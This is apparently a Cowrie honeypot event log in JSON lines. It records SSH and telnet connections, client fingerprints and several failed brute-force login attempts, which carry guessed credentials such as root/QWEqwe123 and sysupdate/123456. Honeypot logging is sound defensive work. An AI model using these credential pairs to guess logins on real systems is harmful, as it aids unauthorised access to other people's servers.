{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":35314,"dst_ip":"159.203.135.109","dst_port":22,"session":"16e8400f9e11","protocol":"ssh","message":"New connection: 122.168.114.167:35314 (159.203.135.109:22) [session: 16e8400f9e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:14.354921Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:16.928658Z","src_ip":"122.168.114.167","session":"16e8400f9e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:16.931841Z","src_ip":"122.168.114.167","session":"16e8400f9e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":58226,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d594f1e7a5","protocol":"telnet","message":"New connection: 185.26.126.47:58226 (159.203.135.109:23) [session: 25d594f1e7a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:17.128695Z"}
{"eventid":"cowrie.session.closed","duration":13.108154773712158,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:18.568851Z","src_ip":"168.194.177.237","session":"56dbf9a0f814","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":16553,"dst_ip":"10.17.0.5","dst_port":22,"session":"75076971a7cb","protocol":"ssh","message":"New connection: 182.253.79.194:16553 (10.17.0.5:22) [session: 75076971a7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:25.640301Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:25.645192Z","src_ip":"182.253.79.194","session":"75076971a7cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:25.910230Z","src_ip":"182.253.79.194","session":"75076971a7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"987654321","message":"login attempt [test/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:27.001603Z","src_ip":"182.253.79.194","session":"75076971a7cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123","message":"login attempt [root/QWEqwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:27.507229Z","src_ip":"122.168.114.167","session":"16e8400f9e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:28.268055Z","src_ip":"182.253.79.194","session":"75076971a7cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.3","message":"Connection lost after 17.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:31.617634Z","src_ip":"122.168.114.167","session":"16e8400f9e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43124,"dst_ip":"159.203.135.109","dst_port":22,"session":"6da8c0c44dd7","protocol":"ssh","message":"New connection: 159.203.92.129:43124 (159.203.135.109:22) [session: 6da8c0c44dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:42.969867Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:42.974266Z","src_ip":"159.203.92.129","session":"6da8c0c44dd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:42.978318Z","src_ip":"159.203.92.129","session":"6da8c0c44dd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appl122","password":"appl122","message":"login attempt [appl122/appl122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:42.988225Z","src_ip":"159.203.92.129","session":"6da8c0c44dd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:43.994046Z","src_ip":"159.203.92.129","session":"6da8c0c44dd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":37724,"dst_ip":"159.203.135.109","dst_port":22,"session":"f356871dde42","protocol":"ssh","message":"New connection: 122.168.114.167:37724 (159.203.135.109:22) [session: f356871dde42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:54.768812Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:56.241620Z","src_ip":"122.168.114.167","session":"f356871dde42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:56.244718Z","src_ip":"122.168.114.167","session":"f356871dde42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.27209711074829,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:12:58.400692Z","src_ip":"185.26.126.47","session":"25d594f1e7a5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"test1234","message":"login attempt [root/test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:03.992042Z","src_ip":"122.168.114.167","session":"f356871dde42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.5","message":"Connection lost after 11.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:06.267690Z","src_ip":"122.168.114.167","session":"f356871dde42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":25344,"dst_ip":"10.17.0.5","dst_port":22,"session":"f47eb5806d8e","protocol":"ssh","message":"New connection: 194.59.206.2:25344 (10.17.0.5:22) [session: f47eb5806d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:21.218213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:21.222087Z","src_ip":"194.59.206.2","session":"f47eb5806d8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:21.307346Z","src_ip":"194.59.206.2","session":"f47eb5806d8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:21.397952Z","src_ip":"194.59.206.2","session":"f47eb5806d8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33362,"dst_ip":"159.203.135.109","dst_port":22,"session":"180109c1c27a","protocol":"ssh","message":"New connection: 159.203.92.129:33362 (159.203.135.109:22) [session: 180109c1c27a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:25.343511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:25.352613Z","src_ip":"159.203.92.129","session":"180109c1c27a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:25.358108Z","src_ip":"159.203.92.129","session":"180109c1c27a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"applic","password":"123456","message":"login attempt [applic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:25.368434Z","src_ip":"159.203.92.129","session":"180109c1c27a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:26.374931Z","src_ip":"159.203.92.129","session":"180109c1c27a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":49315,"dst_ip":"10.17.0.5","dst_port":22,"session":"803e5a1ec412","protocol":"ssh","message":"New connection: 182.253.79.194:49315 (10.17.0.5:22) [session: 803e5a1ec412]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:28.131062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:28.135850Z","src_ip":"182.253.79.194","session":"803e5a1ec412","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:28.399144Z","src_ip":"182.253.79.194","session":"803e5a1ec412","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"111111","message":"login attempt [root/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:29.482967Z","src_ip":"182.253.79.194","session":"803e5a1ec412","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:30.748839Z","src_ip":"182.253.79.194","session":"803e5a1ec412","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":40136,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f0dca3652f7","protocol":"ssh","message":"New connection: 122.168.114.167:40136 (159.203.135.109:22) [session: 0f0dca3652f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:35.507940Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:36.383779Z","src_ip":"122.168.114.167","session":"0f0dca3652f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:36.387286Z","src_ip":"122.168.114.167","session":"0f0dca3652f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:13:41.352072Z","src_ip":"122.168.114.167","session":"0f0dca3652f7","protocol":"ssh"}
